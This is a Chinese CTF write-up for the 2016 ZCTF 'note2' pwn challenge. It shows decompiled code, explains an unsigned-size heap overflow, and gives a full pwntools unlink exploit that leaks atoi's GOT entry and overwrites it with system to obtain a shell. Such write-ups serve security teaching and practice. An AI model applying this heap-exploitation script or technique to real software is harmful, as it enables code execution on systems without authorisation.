2016 ZCTF——note2

64位程序,没开PIE  #unlink

程序逻辑

 1 void __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   setvbuf(stdin, 0LL, 2, 0LL);
 4   setvbuf(stdout, 0LL, 2, 0LL);
 5   setvbuf(stderr, 0LL, 2, 0LL);
 6   alarm(0x3Cu);
 7   puts("Input your name:");
 8   sub_4009BD((__int64)&unk_6020E0, 64LL, 10);
 9   puts("Input your address:");
10   sub_4009BD((__int64)&unk_602180, 96LL, 10);
11   while ( 1 )
12   {
13     switch ( (unsigned int)sub_400AFB(&unk_602180, 96LL) )
14     {
15       case 1u:
16         newnote();
17         break;
18       case 2u:
19         shownote();
20         break;
21       case 3u:
22         editnote();
23         break;
24       case 4u:
25         freenote();
26         break;
27       case 5u:
28         puts("Bye~");
29         exit(0);
30         return;
31       case 6u:
32         exit(0);
33         return;
34       default:
35         continue;
36     }
37   }
38 }
  1. 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
  2. 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
 1 unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
 2 {
 3   char v4; // [rsp+Ch] [rbp-34h]
 4   char buf; // [rsp+2Fh] [rbp-11h]
 5   unsigned __int64 i; // [rsp+30h] [rbp-10h]
 6   ssize_t v7; // [rsp+38h] [rbp-8h]
 7 
 8   v4 = a3;
 9   for ( i = 0LL; a2 - 1 > i; ++i )
10   {
11     v7 = read(0, &buf, 1uLL);
12     if ( v7 <= 0 )
13       exit(-1);
14     if ( buf == v4 )
15       break;
16     *(_BYTE *)(i + a1) = buf;
17   }
18   *(_BYTE *)(a1 + i) = 0;
19   return i;
20 }
 1 unsigned __int64 editnote()
 2 {
 3   char *v0; // rax
 4   char *v1; // rbx
 5   int v3; // [rsp+8h] [rbp-E8h]
 6   int v4; // [rsp+Ch] [rbp-E4h]
 7   char *src; // [rsp+10h] [rbp-E0h]
 8   __int64 v6; // [rsp+18h] [rbp-D8h]
 9   char dest; // [rsp+20h] [rbp-D0h]
10   char *v8; // [rsp+A0h] [rbp-50h]
11   unsigned __int64 v9; // [rsp+D8h] [rbp-18h]
12 
13   v9 = __readfsqword(0x28u);
14   if ( dword_602160 )
15   {
16     puts("Input the id of the note:");
17     v3 = read_int();
18     if ( v3 >= 0 && v3 <= 3 )
19     {
20       src = (char *)*(&ptr + v3);
21       v6 = qword_602140[v3];
22       if ( src )
23       {
24         puts("do you want to overwrite or append?[1.overwrite/2.append]");
25         v4 = read_int();
26         if ( v4 == 1 || v4 == 2 )
27         {
28           if ( v4 == 1 )
29             dest = 0;
30           else
31             strcpy(&dest, src);
32           v0 = (char *)malloc(0xA0uLL);
33           v8 = v0;
34           *(_QWORD *)v0 = 8017383038640285780LL;
35           *((_QWORD *)v0 + 1) = 16452492554761326LL;
36           printf(v8);
37           read_str((__int64)(v8 + 15), 144LL, 10);
38           sub_400B10(v8 + 15);
39           v1 = v8;
40           v1[v6 - strlen(&dest) + 14] = 0;
41           strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
42           strcpy(src, &dest);
43           free(v8);
44           puts("Edit note success!");
45         }
46         else
47         {
48           puts("Error choice!");
49         }
50       }
51       else
52       {
53         puts("note has been deleted");
54       }
55     }
56   }
57   else
58   {
59     puts("Please add a note!");
60   }
61   return __readfsqword(0x28u) ^ v9;
62 }

利用思路

构造三个 chunk,chunk0、chunk1 和 chunk2,其中这三个 chunk 申请时的大小分别为 0x80,0,0x80,chunk1 虽然申请的大小为 0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该 note 输入任意长的字符串。首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2。

我们修改 ptr[0] 的内容为 ptr 的地址 - 0x18,所以当我们再次编辑 note0 时,可以覆盖 ptr[0] 的内容。这里我们将其覆盖为 atoi 的地址。 这样的话,如果我们查看 note 0 的内容,其实查看的就是 atoi 的地址。之后我们根据 libc 中对应的偏移计算出 system 的地址。

由于此时 ptr[0] 的地址 got 表的地址,所以我们可以直接修改该 note,覆盖为 system 地址。此时如果我们再调用 atoi ,其实调用的就是 system 函数,所以就可以拿到 shell 了。

expolit

 1 from pwn import *
 2 sh=process('./note2')
 3 elf=ELF('./note2')
 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 5 
 6 def newnote(size,content):
 7     sh.recvuntil('option--->>\n')
 8     sh.sendline('1')
 9     sh.recvuntil('128)\n')
10     sh.sendline(str(size))
11     sh.recvuntil('content:\n')
12     sh.sendline(content)
13 
14 def editnote(idx,choice,content):
15     sh.recvuntil('option--->>\n')
16     sh.sendline('3')
17     sh.recvuntil('Input the id of the note:\n')
18     sh.sendline(str(idx))
19     sh.recvuntil('append]\n')
20     sh.sendline(str(choice))
21     sh.recvuntil('TheNewContents:')
22     sh.sendline(content)
23 
24 def freenote(idx):
25     sh.recvuntil('option--->>\n')
26     sh.sendline('4')
27     sh.recvuntil('Input the id of the note:\n')
28     sh.sendline(str(idx))
29 
30 def shownote(idx):
31     sh.recvuntil('option--->>\n')
32     sh.sendline('2')
33     sh.recvuntil('Input the id of the note:\n')
34     sh.sendline(str(idx))
35 
36 head=0x602120
37 sh.recvuntil('Input your name:\n')
38 sh.sendline('a')
39 sh.recvuntil('Input your address:\n')
40 sh.sendline('a')
41 
42 payload=p64(0)
43 payload+=p64(0x61)
44 payload+=p64(head-0x18)
45 payload+=p64(head-0x10)
46 payload+='a'*0x40
47 payload+=p64(0x60)
48 
49 newnote(0x80,payload)#index 0
50 newnote(0,'a'*8)   #index 1 unsigned int 0-1=max>0x80
51 newnote(0x80,'a'*8)#index 2
52 
53 freenote(1)         #1 step
54 
55 payload='a'*8
56 payload+='a'*8
57 payload+=p64(0xa0)
58 payload+=p64(0x90)
59 
60 newnote(0,payload)  #2 step
61 
62 freenote(2)         #3 step
63 #*head=head-0x18
64 
65 atoi_got=elf.got['atoi']
66 print 'atoi_got:'+hex(atoi_got)
67 
68 payload='a'*0x18
69 payload+=p64(atoi_got)
70 editnote(0,1,payload)   #4 step
71 shownote(0)          #5 step
72 sh.recvuntil('is ')
73 atoi_adr=sh.recvuntil('\n',drop=True).ljust(8,'\x00')#6 step
74 atoi_adr=u64(atoi_adr)
75 libc_base=atoi_adr-libc.symbols['atoi']
76 system_adr=libc_base+libc.symbols['system']
77 binsh_adr=libc_base+libc.search('/bin/sh').next()
78 
79 editnote(0,1,p64(system_adr))#7 step
80 
81 sh.recvuntil('option--->>\n')
82 #sh.sendline(p64(binsh_adr)) #8 step
83 sh.sendline('/bin/sh\x00')
84 sh.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10742055.html